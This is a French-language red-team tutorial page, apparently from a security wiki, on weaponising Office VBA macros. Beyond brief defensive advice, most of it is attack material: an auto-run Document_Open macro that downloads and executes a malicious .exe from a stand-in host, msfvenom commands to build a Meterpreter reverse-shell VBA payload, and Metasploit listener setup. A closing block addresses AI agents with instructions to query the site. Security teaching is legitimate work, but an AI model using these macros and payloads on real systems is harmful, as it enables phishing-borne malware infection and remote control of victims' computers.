# VBA et MACROS

## 📝 **VBA (Visual Basic pour Applications)**

Visual Basic pour Applications (VBA) est un langage de programmation intégré aux applications de la suite Microsoft Office. Il permet aux utilisateurs de créer des macros pour automatiser des tâches et personnaliser les fonctionnalités des applications Office.

💼 **Automatisation des Tâches**

Imaginons que tu veux faire quelque chose de répétitif dans Excel, comme calculer des totaux ou formater des données. Plutôt que de le faire manuellement à chaque fois, tu peux écrire un petit programme en VBA qui le fera pour toi automatiquement.

🔧 **Fonctionnalités Avancées**

VBA te permet également d'aller plus loin en accédant à des fonctionnalités avancées, comme l'interface de programmation d'applications Windows (API), ce qui te donne encore plus de contrôle sur ce que tu peux faire avec tes applications Microsoft Office.

## **Utilisation de VBA pour les Macros**

### 🤖 **Qu'est-ce qu'une Macro ?**

Une macro est un ensemble d'instructions ou de commandes écrites en VBA, enregistrées et stockées dans une application Office. Les macros permettent d'automatiser des tâches répétitives ou complexes, comme la création de rapports, le formatage de données, etc.

Les macros sont souvent créées en enregistrant une série d'actions effectuées dans l'application Office. Cependant, les attaquants peuvent également créer des macros malveillantes pour compromettre les systèmes cibles.

### ⚠️ **Risques liés aux Macros Malveillantes**

Les attaquants utilisent les macros dans les documents Office (comme Word ou Excel) pour infecter les ordinateurs :

* **Phishing :** Ils envoient des e-mails persuasifs avec des pièces jointes contenant des documents Office. Lorsque les utilisateurs ouvrent ces documents, ils sont incités à activer les macros, déclenchant ainsi l'exécution du code malveillant.
* **Exploitation de Failles :** Les attaquants exploitent les faiblesses des logiciels pour exécuter automatiquement des macros sans l'interaction de l'utilisateur. Cela peut se produire lorsque les applications Office ne sont pas correctement mises à jour.

### 🛡️ **Mesures de Sécurité**

Pour se protéger, il est crucial de :

* Ne pas ouvrir de pièces jointes provenant de sources non fiables.
* Désactiver les macros par défaut dans les paramètres de sécurité des applications Office.
* Maintenir à jour les logiciels et les systèmes pour corriger les failles de sécurité connues.

### 📎 Exemple&#x20;

Dans ce code, la macro `Document_Open` est automatiquement déclenchée lorsque le document Word est ouvert. Elle télécharge ensuite le fichier à partir de l'URL spécifiée et l'exécute automatiquement s'il est téléchargé avec succès.&#x20;

```vba
Private Sub Document_Open() 
Dim strFileURL As String 
Dim strSavePath As String

' URL du fichier à télécharger
strFileURL = "http://exemple.com/fichier_malveillant.exe"

' Chemin de sauvegarde du fichier téléchargé
strSavePath = "C:\Users\Utilisateur\Téléchargements\fichier_malveillant.exe"

' Téléchargement du fichier
With CreateObject("MSXML2.ServerXMLHTTP")
    .Open "GET", strFileURL, False
    .send
    If .Status = 200 Then
        With CreateObject("ADODB.Stream")
            .Open
            .Type = 1 ' binaire
            .write .responseBody
            .SaveToFile strSavePath, 2 ' écraser le fichier existant
            .Close
        End With
    End If
End With

' Vérifier si le fichier a été téléchargé avec succès
If Dir(strSavePath) <> "" Then
    ' Exécution du fichier téléchargé
    Shell strSavePath, vbNormalFocus
Else
    MsgBox "Le téléchargement du fichier a échoué."
End If
End Sub
```

{% hint style="info" %}
Ou sinon vous pouvez utilisez le module de Metasploit&#x20;
{% endhint %}

### 📻 Création de la Charge Utile Meterpreter

1. **Utilisation de msfvenom :** Utilisez msfvenom pour générer la charge utile Meterpreter en spécifiant l'adresse IP de votre machine (LHOST) et le port d'écoute (LPORT) :

   ```bash
   msfvenom -p windows/meterpreter/reverse_tcp LHOST=Attack_IP LPORT=443 -f vba
   ```
2. **Enregistrement de la Macro :** Copiez le résultat de la charge utile et enregistrez-le dans l'éditeur de macros de MS Word.
3. Remplacer `Workbook_Open`part `Document_Open`

   La substitution de `Document_Open` par `Workbook_Open` est justifiée en fonction du contexte d'utilisation.

   * `Document_Open` est un événement déclenché lorsqu'un document Word est ouvert.
   * `Workbook_Open` est un événement déclenché lorsqu'un classeur Excel est ouvert.

### 📺 Configuration de Metasploit

1. **Démarrage de Metasploit :** `msfconsole -q`.
2. **Utilisation du Module d'Écoute :** Utilisez le module `exploit/multi/handler` pour configurer Metasploit en tant qu'écouteur :

   ```bash
   use exploit/multi/handler
   ```
3. **Configuration du Payload :** Définissez le payload sur `windows/meterpreter/reverse_tcp` :

   ```bash
   set payload windows/meterpreter/reverse_tcp
   ```
4. **Spécification de l'Adresse IP et du Port :** Configurez l'adresse IP de votre machine (LHOST) et le port d'écoute (LPORT) :

   ```bash
   set LHOST attack_IP
   set LPORT 443
   ```
5. **Exploitation :** Lancez l'exploit pour démarrer l'écoute et attendre la connexion d'une session Meterpreter :

   ```bash
   exploit
   ```

#### Réception du reverse Shell&#x20;

Une fois que le document MS Word malveillant est ouvert sur la machine victime, une session Meterpreter devrait être établie. Vous pouvez alors exécuter des commandes pour interagir avec le système victime.

<figure><img src="/files/HReivriIQzNKtPix1hWR" alt=""><figcaption></figcaption></figure>

***

## 🔨 Tools&#x20;

{% embed url="<https://github.com/sevagas/macro_pack>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hackcessible.gitbook.io/hackcessible-a-tous/red-team/kill-chain/armement/vba-et-macros.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
